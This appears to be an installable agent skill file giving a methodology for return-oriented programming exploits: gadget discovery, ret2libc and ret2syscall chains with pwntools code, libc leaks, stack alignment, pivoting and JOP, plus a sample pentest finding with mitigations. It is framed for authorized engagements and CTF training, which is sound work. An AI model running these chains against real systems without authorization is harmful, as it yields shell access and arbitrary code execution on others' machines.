performing-return-oriented-programming

$npx mdskill add xalgord/xalgorix/performing-return-oriented-programming

- During authorized exploitation when you control the saved return address (via stack overflow, write-what-where, etc.) but **NX/DEP** prevents executing injected shellcode on the stack. - When you need to call an existing function (`system`, `execve`, `mprotect`) or invoke a syscall with attacker-chosen arguments by chaining small `...; ret` gadgets. - When choosing between ret2libc (call a libc function), ret2syscall (raw `sys_execve`, common in static binaries), ret2dlresolve, SROP (when gadgets are scarce), or stack pivoting (off-by-one / short overflows). - On ARM64 targets where `ret` jumps to `x30` and instructions cannot be entered mid-instruction, requiring JOP or pivot-based approaches.

SKILL.md

.github/skills/performing-return-oriented-programmingView on GitHub ↗
---
name: performing-return-oriented-programming
description: Methodology for building Return-Oriented Programming (ROP) chains to bypass NX/DEP by reusing existing code
  gadgets, covering gadget discovery, calling-convention argument setup, ret2libc, ret2syscall (execve), one_gadget,
  stack alignment, JOP, and stack pivoting across x86/x64/ARM64 during authorized engagements.
domain: cybersecurity
subdomain: binary-exploitation
tags:
- binary-exploitation
- return-oriented-programming
- exploit-development
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Performing Return-Oriented Programming

## When to Use

- During authorized exploitation when you control the saved return address (via stack overflow, write-what-where, etc.)
  but **NX/DEP** prevents executing injected shellcode on the stack.
- When you need to call an existing function (`system`, `execve`, `mprotect`) or invoke a syscall with attacker-chosen
  arguments by chaining small `...; ret` gadgets.
- When choosing between ret2libc (call a libc function), ret2syscall (raw `sys_execve`, common in static binaries),
  ret2dlresolve, SROP (when gadgets are scarce), or stack pivoting (off-by-one / short overflows).
- On ARM64 targets where `ret` jumps to `x30` and instructions cannot be entered mid-instruction, requiring JOP or
  pivot-based approaches.

## Critical: Concepts/Steps Most Often Missed

- **16-byte stack alignment on x86-64.** The SysV ABI requires `RSP` be 16-byte aligned at a `call`. libc functions use
  SSE (`movaps`) and will `SIGSEGV` if misaligned. If `system()` crashes inside libc, insert a bare `ret` gadget before
  it to realign. This is the single most common reason a "correct" chain crashes.
- **Argument passing differs by arch/ABI.** x86 cdecl pushes args on the stack (right-to-left); x86-64 SysV uses
  `RDI, RSI, RDX, RCX, R8, R9`; Windows x64 uses `RCX, RDX, R8, R9`. You need `pop rdi; ret`-style gadgets to load
  registers, not just stack values.
- **The function needs a return slot.** After `system` you must place a return address (e.g. `exit`) or the chain
  crashes on `system`'s own return. CTFs often get away with garbage, real targets do not.
- **ARM64 entry-point pitfall.** When jumping to a function via ROP on ARM64, jump to the function's *second*
  instruction to avoid re-storing the stack pointer and looping forever.
- **NUL bytes and bad chars in gadget addresses.** A `pop rdi; ret` gadget at `0x400686` is fine, but addresses with
  NULs break string-copy overflows. Pick alternate gadgets or use ret2dlresolve/SROP.

### How to CONFIRM

Confirm gadget control in gdb: set a breakpoint at the `ret` of the vulnerable function, single-step into the first
gadget, and verify each register holds the intended value (`p $rdi`, `p $rsi`) before the `call`/`syscall`. Confirm the
final primitive by observing the spawned shell (`p.interactive()` yields an interactive `$`) or, for `mprotect`, by
checking the target page is now `rwx` in `vmmap`. A chain that returns cleanly but spawns nothing usually means an
alignment or argument-register error, not a missing gadget.

## Workflow

### Step 1: Profile the Binary and Find Gadgets

```bash
pwn checksec ./vuln        # NX on (need ROP), PIE/RELRO/canary status drives the plan

# Enumerate gadgets
ROPgadget --binary ./vuln | grep -E "pop (rdi|rsi|rdx|rax) ; ret"
ropper --file ./vuln --search "pop rdi"
ROPgadget --binary ./vuln | grep ": ret$"          # alignment gadget
```

```python
from pwn import *
context.binary = elf = ELF('./vuln')
rop = ROP(elf)                       # pwntools gadget finder
log.info("pop rdi @ %#x", rop.find_gadget(['pop rdi', 'ret'])[0])
```

### Step 2: ret2libc — Call system("/bin/sh")

```python
from pwn import *
context.binary = elf = ELF('./vuln')
libc = elf.libc                       # or ELF('./libc.so.6')
offset = 72                           # confirmed overflow offset

rop = ROP(elf)
ret      = rop.find_gadget(['ret'])[0]            # alignment
pop_rdi  = rop.find_gadget(['pop rdi', 'ret'])[0]
binsh    = next(libc.search(b'/bin/sh\x00'))
system   = libc.symbols['system']

payload  = b'A'*offset
payload += p64(ret)                   # 16-byte alignment fix
payload += p64(pop_rdi) + p64(binsh)  # RDI = "/bin/sh"
payload += p64(system)                # call system
payload += p64(elf.symbols.get('exit', 0))  # clean return slot
```

When the libc base is unknown/remote, first leak it (e.g. ROP-call `puts(puts@got)` to leak `puts`'s runtime address),
identify the version at libc.blukat.me, then set `libc.address = leak - libc.symbols['puts']`.

### Step 3: ret2syscall — Raw execve (static binaries)

```python
# Target syscall config (x86-64): rax=59, rdi=&"/bin/sh", rsi=0, rdx=0
popRax, popRdi, popRsi, popRdx = p64(0x415664), p64(0x400686), p64(0x4101f3), p64(0x4498b5)
writeGadget = p64(0x48d251)   # mov qword ptr [rax], rdx ; ret
syscall     = p64(0x40129c)
writable    = 0x6b6000        # rw- page from `gef> vmmap`

rop  = popRdx + b"/bin/sh\x00" + popRax + p64(writable) + writeGadget  # plant string
rop += popRax + p64(0x3b)              # rax = 59 (execve)
rop += popRdi + p64(writable)          # rdi = &"/bin/sh"
rop += popRsi + p64(0) + popRdx + p64(0)   # rsi=rdx=0
rop += syscall
payload = b'0'*0x408 + rop
```

`ROPgadget --binary vuln --ropchain` auto-generates such a chain. If gadgets are scarce, use SROP to set every register
from a forged sigcontext frame.

### Step 4: Handle Alignment, one_gadget, and Re-use

```bash
# After leaking libc, a single-shot shell gadget avoids argument setup
one_gadget ./libc.so.6     # prints constraints (e.g. [rsp+0x40]==NULL) — satisfy them
```

```python
# Make the bug reusable: return to main() / the vuln to leak then exploit in two passes
payload += p64(elf.symbols['main'])
```

For JOP (ARM64 / no `ret` gadgets), chain gadgets ending in `br xN`. For off-by-one or tiny overflows, pivot the stack
(`mov sp, x0`-style or `leave; ret`) into a controlled buffer holding the full chain.

## Key Concepts

| Concept | Description |
|---------|-------------|
| **Gadget** | A short instruction sequence ending in `ret` (ROP) or `br`/`jmp` (JOP), reused as a building block. |
| **ret2libc** | Redirect execution to a library function (e.g. `system`) with crafted arguments instead of shellcode. |
| **ret2syscall** | Set up registers and invoke a raw syscall (e.g. `execve`); common in static binaries with many gadgets. |
| **Calling convention** | x86 cdecl (stack args), x86-64 SysV (RDI/RSI/RDX/RCX/R8/R9), Windows x64 (RCX/RDX/R8/R9). |
| **Stack alignment** | x86-64 requires RSP 16-byte aligned at a call; fix with an extra `ret` gadget. |
| **one_gadget** | A single libc address that execs `/bin/sh` if certain register/memory constraints hold. |
| **SROP** | Sigreturn-Oriented Programming: forge a sigcontext to load all registers at once when gadgets are scarce. |
| **Stack pivoting** | Redirect RSP/SP to a controlled region (heap/buffer) to run a chain that didn't fit in the overflow. |
| **JOP** | Jump-Oriented Programming: gadgets end in indirect jumps; used on ARM where `ret` is uncommon. |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **ROPgadget** | Find gadgets, search by pattern, auto-build execve chains (`--ropchain`). |
| **ropper** | Alternative gadget finder; works on `.so`/`.dylib`, semantic search (e.g. `--search "mov x0"`). |
| **pwntools** | `ROP`, `ELF`, `find_gadget`, `fit`, `p64`, `libc.search`, process/remote IO; full exploit scripting. |
| **gdb + pwndbg/GEF** | Step through the chain, verify registers before calls, `vmmap` for writable pages, `find "/bin/sh"`. |
| **one_gadget** | Locate single-shot shell gadgets in libc after a leak. |
| **checksec** | Confirm NX (necessitates ROP), PIE, RELRO, canary. |
| **lldb / dyld-shared-cache-extractor** | iOS/macOS: list loaded images and extract libraries to mine gadgets. |

## Common Scenarios

### Scenario 1: NX-enabled CTF, known libc
Overflow with offset 72; chain `ret` (align) -> `pop rdi; ret` -> `&/bin/sh` -> `system`. The alignment `ret` is the
difference between a shell and a crash inside `movaps`.

### Scenario 2: Remote, unknown libc
ROP-call `puts(puts@got)` to leak the runtime address of `puts`, fingerprint the libc version online, rebase, then send
a second-stage chain calling `system("/bin/sh")` or a one_gadget.

### Scenario 3: Statically linked binary
No libc to call, but abundant gadgets. Plant `/bin/sh` in a writable `.data`/.bss page with a write-what-where gadget,
set `rax=59`, args, and `syscall` to execve.

### Scenario 4: ARM64 with NX
No useful `ret` gadgets; use JOP gadgets ending in `br x2` loaded from a controlled heap object, or a stack pivot
(`mov sp, x0; ... ret`) to relocate the stack onto the controlled buffer, then run an mprotect+shellcode chain.

## Output Format

```
## ROP Exploitation Finding

**Vulnerability**: Stack overflow exploited via Return-Oriented Programming (CWE-121 + CWE-787)
**Severity**: Critical (arbitrary code execution, bypasses NX/DEP)
**Binary**: ./vuln (x86-64, NX enabled, No PIE, No canary)

### Control & Chain
- Overflow offset to saved RIP: 72
- Gadgets: ret @0x40101a, pop rdi;ret @0x401213
- Path: ret2libc -> system("/bin/sh") with exit() return slot
- Alignment: extra `ret` inserted to satisfy 16-byte ABI alignment

### Proof
Chain executed system("/bin/sh"); obtained interactive shell as service user (id: uid=1000).

### Impact
Full arbitrary code execution despite non-executable stack.

### Recommendation
1. Eliminate the underlying memory-corruption bug (bounded copies, input validation).
2. Enable Full RELRO, PIE/ASLR, and stack canaries to raise the cost of gadget reuse.
3. Adopt CET/shadow-stack (Intel) or PAC/BTI (ARM) where available to break ROP/JOP.
4. Minimize statically linked, gadget-rich binaries; keep libc/ASLR entropy high.
```

More from xalgord/xalgorix